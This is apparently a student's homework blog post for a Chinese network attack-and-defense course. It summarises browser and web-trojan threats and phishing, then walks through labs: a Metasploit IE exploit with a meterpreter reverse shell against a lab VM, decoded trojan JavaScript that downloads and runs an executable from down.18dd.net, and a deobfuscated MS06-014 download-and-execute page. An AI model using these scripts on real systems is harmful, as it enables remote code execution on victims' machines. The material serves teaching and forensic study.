20199109 2019-2020-2 《网络攻防实践》第十二周作业
Web浏览器安全攻防
总体结构
这个作业属于哪个课程 | https://edu.cnblogs.com/campus/besti/19attackdefense |
---|---|
这个作业的要求在哪里 | https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10756 |
这个作业在哪个具体方面帮助我实现目标 | 学习web浏览器攻防的相关知识 |
作业正文.. | 见一和二 |
一、课堂知识点总结
(一)web浏览器的技术发展与安全威胁
现代web浏览器的基本结构与机理
- 现代浏览器的基本结构如下图示,需要支持各种应用层协议的Stream流接收与解析,并维护DOM对象模型结构,通过支持EMCAScript标准构建JavaScript等客户端脚本语言的执行环境,以及支持CSS标准控制页面的布局,最终在浏览器终端中将服务器端的各种流媒体对象、应用程序、客户端脚本执行效果进行渲染,展示给终端用户。
web浏览器软件的安全困境三要素
- 复杂性方面,现代web浏览器由于需要支持HTTP等多种类型的应用层协议浏览,符合HTML等一系列页面标准规范,支持Javascript等多种客户端执行环境,并满足大量的用户浏览需求,已经非常复杂和庞大,也就意味着更多的错误和安全缺陷。
- 可扩展性方面,支持第三方插件扩展机制,但这些插件缺乏安全保证,安全漏洞普遍,恶意客户端脚本代码也是主要安全威胁。
- 连通性方面,浏览器软件始终工作在联网状态,一旦其中存在安全漏洞,就很容易被网上的威胁源利用和攻击。
web浏览安全威胁位置
- 针对传输网络的网络协议安全威胁
- 针对web浏览器系统平台的安全威胁:桌面操作系统存在的安全漏洞
- 针对web浏览器软件及插件程序的渗透攻击威胁:通过客户端渗透攻击向互联网用户桌面系统中植入恶意木马程序
- 针对互联网用户的社会工程学攻击威胁
(二)web浏览端的渗透攻击威胁————网页木马
通过利用web浏览端的各种软件安全漏洞进行渗透攻击,向终端计算机上植入恶意程序,窃取信息及虚拟资产。
- 网页木马发展的驱动力————黑客地下经济链
- 网页木马存在的技术基础————web浏览端安全漏洞
- 攻击的安全漏洞存在位置非常多样化,包括web浏览器自身、浏览器插件等等
- 网页木马近年不断发掘利用其他流行应用软件中的安全漏洞
- 一些影响范围广的安全漏洞会被网页木马持续利用,以攻击老旧版本的计算机
- 网页木马定义:利用客户端脚本执行能力,针对web浏览器端软件安全漏洞实施客户端渗透攻击,从而取得在客户端主机的远程代码执行权限来植入恶意程序。
- 网页木马的攻击是被动的,需要诱使用户访问木马页面。同时渗透攻击获得远程代码执行权限后,还需要植入一些盗号木马等类型的恶意程序。
- 网页木马攻击技术流程:病毒编写者负责实现网页木马和传统盗号木马;网站骇客出卖网站访问者,出售网站访问流量;“信封”盗窃者在木马宿主站点放置木马;受害者访问挂马网站时,自动链接网页木马并被其攻击。
- 网页木马攻击网络特性:
- 多样化的客户端渗透攻击位置和技术类型
- 分布式、复杂的微观链接结构:采用多个木马宿主站点
- 灵活多变的混淆与对抗分析能力
- 网页木马的本质核心———浏览器渗透攻击
- 网页挂马机制:
- 内嵌HTML标签:将网页木马 链接嵌入到网站首页或其他页面
- 恶意script脚本:利用script脚本标签通过外部引用脚本的方式来包含网页木马。
- 内嵌对象链接:利用图片、flash等内嵌对象中的特定方法来完成指定页面的加载
- ARP欺骗挂马:通过ARP欺骗进行中间人攻击
- 混淆机制:对抗反病毒软件的检测
- 将代码重新排版,将木马中变量名替换为一组合法的随机字符串
- 通过大小写变换、十六进制编码等方式对木马进行编码混淆
- 通过加密工具对木马进行加密,然后用脚本语言解密,再动态输出
- 利用字符串运算或特殊函数混淆代码
- 修改网页木马文件掩码欺骗反病毒软件
- 网页木马的检测与分析技术
- 基于特征码匹配的传统检测方法
- 基于统计与机器学习的静态分析方法
- 基于动态行为结果判定的检测分析方法
- 基于模拟浏览器环境的动态分析检测方法
- 防范措施
- 时常更新软件
- 安装并实时更新反病毒软件
- 养成良好上网习惯
(三)网络钓鱼
- 目的:获取个人敏感信息如用户名、口令、帐号ID、PIN码或信用卡信息等。
- 钓鱼攻击策略:
- 在攻陷的服务器上钓鱼
- 部署重定向服务搭建钓鱼攻击网络
- 技术策略:
- 首先钓鱼攻击者架设支撑钓鱼攻击的底层基础设施
- 通过各种自动化的社会工程学手段构造欺骗性垃圾邮件或信息,实施撒网式钓鱼攻击
- 具体的欺骗技巧包括:
- 在指向假冒网站的链接中使用IP地址代替域名。
- 注册发音相近或形似DNS域名。
- 在多数真实的链接中混杂关键的指向假冒钓鱼网站的链接。
- 对假冒网站的URL进行编码和混淆。
- 攻击浏览器漏洞,隐藏消息内容的本质。
- 将假冒的钓鱼网站配置成记录用户提交的所有数据并进行不可察觉的日志。
- 架设一个假冒网站,作为目标机构真实网站的代理,记录未使用SSL加密保护的口令信息。
- 通过恶意代码在受害主机上安装恶意浏览器助手工具。
- 使用恶意代码修改本地DNS域名和IP地址映射的hosts文件。
- 防范:
- 针对电子邮件和通信信息,提高警惕,不轻易打开邮件中的链接
- 充分利用浏览软件、网络安全厂商软件所提供的反钓鱼网站功能特性
- 登录网上银行等进行在线金融操作时,务必重视网站的真实性
- 提升自己抵抗社会工程学攻击的能力
二、实践过程
(一)使用攻击机和Windows靶机进行浏览器渗透攻击实践。
-
攻击机kali,靶机Windows2KServer
-
首先在kali中打开msfconsole。选择漏洞
use exploit/windows/browser/ie_createobject
,设置靶机和攻击机如下所示
-
之后设置payload为
windows/meterpreter/reverse_tcp
,并执行,可以得到Local IP,当靶机访问这个Local IP的时候,应该就会有Session建立起来了。
-
下面我们去靶机访问这个IP,浏览器返回一串字符
-
我们再去kali,看到已经建立起一个会话,如上图所示。这样攻击就成功了。
-
最后我们验证会话是否有效,用sessions查看连接。使用指令
sessions -i 1
打开会话,返回meterpreter
,此时攻击机即可在靶机上执行命令,用ifconfig命令可以查看靶机IP
(二)取证分析实践:剖析一个实际的网页木马攻击场景
题目:一个研究组发现了一个域名为 18dd.net 的挂马网站。在链接分析的过程中, 发现有大量恶意网页最终都重定向到了这个网站上。
这个挂马网站现在已经无法访问了,但蜜网课题组的成员保留了最初做分析时所有的原始文件。首先你应该访问 start.html,在这个文件中给出了 new09.htm 的地址,在进入 new09.htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/目录下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。如果解密出的地址给出的是网页或脚本文件,请继续解密。如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。重复以上过程直到这些文件被全部分析完成。请注意:被散列的文件地址应该是标准的 URL 形式,形如 http://xx.18dd.net/a/b.htm,否则会导致散列值计算不正确而无法继续。
问题:
1、试述你是如何一步步地从所给的网页中获取最后的真实代码的?
2、网页和 JavaScript 代码中都使用了什么样的加密方法?你是如何解密的?
3、从解密后的结果来看,攻击者利用了那些漏洞?
4、解密后发现了多少个可执行文件?这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是什么作用的?
分析过程
- 由于没有找到html文件,根据教程,我们先来分别看一下文件夹里的所有js文件
- 1.js文件是一个十六进制加密的,解密之后可以得到
var url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open
("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close
();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}
可以看到这个文件前面部分下载了一个http://down.18dd.net/bb/014.exe
可执行文件,后面是对ADODB漏洞的继续利用。ADODB.Stream对象是一个用于通过Microsoft Internet Explorer进行网络数据流传输的组件。 Microsoft Internet Explorer ADODB.Stream对象的实现存在一个漏洞,使得远程攻击者可以利用这个漏洞在目标用户系统上安装恶意文件。脚本可利用ADODB.Stream对象写或覆盖攻击者指定的文件到目标文件系统中,通过这种方式,当用户浏览攻击者构建的恶意页面时,可使HTML文档利用ADODB.Stream对象在磁盘上安装文件。
-
b.js文件的加密方法叫“老外写的 js 加解密工具”,网站上不去了,看教程里的解密结果,可以得到一个可执行文件
http://down.18dd.net/bb/bf.exe
-
再看下一个pps.js,打开发现是八进制加密的,对其解密又能得到一个可执行文件
pps.exe
-
将bd.cab解压缩得到一个
bd.exe
文件 -
这样我们就得到了四个exe文件,对文件进行MD5散列计算后,发现这四个exe文件其实是一样的,那下面就来分析一下
-
把
pps.exe
文件进行反汇编,看一下字符串
-
一眼看过去会发现一堆形如
http://down.18dd.net/kl/**.exe
的字符串,这意味着这个程序要下载一堆木马 -
然后可以看到像允许执行,允许字样,这意味着这个程序有一定的防系统保护软件的能力
-
接着往下可以看到
AutoRun``shell\Auto\command
,意味着这个程序可能在磁盘根目录下生成自动运行的文件,以求用户不小心时启动程序。 -
SOFTWARE\Borland\Delphi\RTL
,ChangeServiceConfig2A
,ChangeServiceConfig2W
,QueryServiceConfig2A
,QueryServiceConfig2W
,drivers/klif.sys
,\program files\internet explorer\IEXPLORE.EXE
,IE 执行保护
,Kernel32.dll
,这些字样意味着这个程序要对服务和系统文件、IE等动手脚 -
下载安装total uninstall,这是一个安装监视工具,在安装程序前扫描一遍系统,安装结束后再扫描一遍,比较两次扫描结果得出系统变化情况,报告内容包括 文件系统、注册表和服务。
-
运行pps.exe之后就消失了,其他的exe文件也是,也监控不到,不知道该咋办了,先搁置一下。
(三)攻防对抗实践:Web浏览器渗透攻击对抗实验
要求:
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
分析过程
1、攻击过程前面已经叙述过就不再赘述
2、查看js代码,可以看到这个里面空格真的太多了
3、我们用网上的在线工具把代码稍作整理
< html > < head > < title > < /title>
<script language="javascript">function KnAmGt(o,n)
{var r=null;try{eval("r=o.CreateObject(n)")}catch(e){}if(!r) {try{eval("r=o.CreateObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.CreateObject(n,'','')")}catch(e){}}if(!r){try{eval("r=o.GetObject('',n)")}catch(e){}}if(!r){try{eval("r=o.GetObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.GetObject(n)")}catch(e){}}return(r)}function hRZsZenIWZGSquVYwDztwzXS(a){var s=KnAmGt(a,"WScript.Shell");var o=KnAmGt(a,"ADODB.Stream");var e=s.Environment("Process");var url=document.location+'/payload';var xml=null;var bin=e.Item("TEMP")+"\\KvJyzvxl.exe";var dat;try{xml=new XMLHttpRequest()}catch(e){try{xml=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){xml=new ActiveXObject("MSXML2.ServerXMLHTTP")}}if(!xml){return(0)}xml.open("GET",url,false);xml.send(null);dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0)}function EeqjlsFOA(){var i=0;var t=new Array(' {
BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36
}
',' {
BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30
}
',' {
7F5B7F63 - F06F - 4331 - 8A26 - 339E03C0AE3D
}
',' {
6e32070a - 766d - 4ee6 - 879c - dc1fa91d2fc3
}
',' {
6414512B - B978 - 451D - A0D8 - FCFDF33E833C
}
',' {
06723E09 - F4C2 - 43c8 - 8358 - 09FCD1DB0766
}
',' {
639F725F - 1B2D - 4831 - A9FD - 874847682010
}
...
...
可以看到很多像注册产品序列号似的字符串,随便查一下,就能发现这是MS06-014漏洞
(四)取证分析实践:Web浏览器遭遇攻击
任务:通过分析给的网络记录pcap文件,回答下列问题:
1、列出在捕获文件中的应用层协议类型,攻击是针对哪个或哪些协议的?
2、列出IP地址、主机名、域名,猜测攻击场景的环境配置。
3、列出所有网页页面,其中哪些页面包含了可疑的、恶意的js脚本,谁在连接这些页面,目的是什么?
4、请给出攻击者执行攻击动作的概要描述。
5、攻击者引入了哪些技巧带来了困难。
6、攻击者的目标是哪个操作系统?哪个软件?哪个漏洞?如何阻止?
7、shellcode执行了哪些操作?列出shellcode的MD5,比较他们之间的差异?
8、在攻击场景中有二进制可执行代码参与吗?目的是什么?
分析
1、利用chaosreader读取这个文件./chaosreader suspicious-time.pcap
,发现了有HTTP、ICMP、Bootps、Netbios、DNS的应用层协议。
在chaosreader的文件夹下生成了很多html等文件,其中有个index.html,我们能看到这是对pcap文件分析后的报告;
2、继续使用chaosreader执行命令行,查询有哪些IP地址和域名在进行攻击
for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort
从上图可以得到
域名 | IP |
---|---|
rapidshare.com.eyu32.ru | 192.168.56.50 |
sploitme.com.cn | 192.168.56.52 |
shop.honeynet.sg | 192.168.56.51 |
模拟被侵入主机:192.168.56.50 ( “rapidshare.com.eyu32.ru”)
、192.168.56.51 (“shop.honeynet.sg”)
。
攻击者:192.168.56.52 ( “sploitme.com.cn”)
受害者:10.0.2.15, 10.0.3.15, 10.0.4.15,10.0.5.15
服务:10.0.2.2, 10.0.3.2, 10.0.4.2, 10.0.5.2(DHCP 服务和网关)
,192.168.1.1 (DNS 服务)
用wireshark打开pcap文件,过滤一下nbns过滤数据包,可以看到之前提到的受害主机,我们推测安装的环境是配置在虚拟机里
3、使用Wireshark的过滤出HTTP,可以看到攻击者对靶机的网站的一系列操作,
我们之前使用chaosreader已经获得了整个pcap文件的sessions.html,因此我们用这些html文件进行分析,分别打开这些文件
整理一下可以得到:
session_html | 域名 |
---|---|
session_0006.part_01.html | rapidshare.com.eyu32.ru/login.php |
session_0007.part_02.html | sploitme.com.cn |
session_0032.part_01.html | shop.honeynet.sg/catalog/ |
4、过滤一下HTTP可以看到,攻击者先尝试进行登录,然后利用302网页做调转到404页面,也就是将钓鱼网站302隐藏在404中,最后再次登录的时候就会将数据发送到302网页
从上图中可以看到攻击者进行攻击的时候的访问的一些网页
5、攻击者使用了哪些技巧防分析:
被黑的网页中包含JavaScript代码,可以看到这些代码后面是混乱的,即攻击者使用了加密和编码的方式进行了混淆。同时将钓鱼网页伪装成404页面
6、经过查询Mozilla/4.0可知浏览器为IE;被攻击的主机操作系统是Windows
三、学习中遇到的问题及解决
- 问题1:实践二中的exe文件运行不了
- 解决1:暂时没找到方法
- 问题2:实践四东西真的太多了,各种分析有点懵
- 解决2:待解决。。
四、实践总结
这次的实践理论不多,实践是真的多,分析也太多了,不是没花时间,不是不想做,不是没认真学,东西实在是太多了。吐血。。实践二跟着教程做还没做出来,之后再试试补充吧。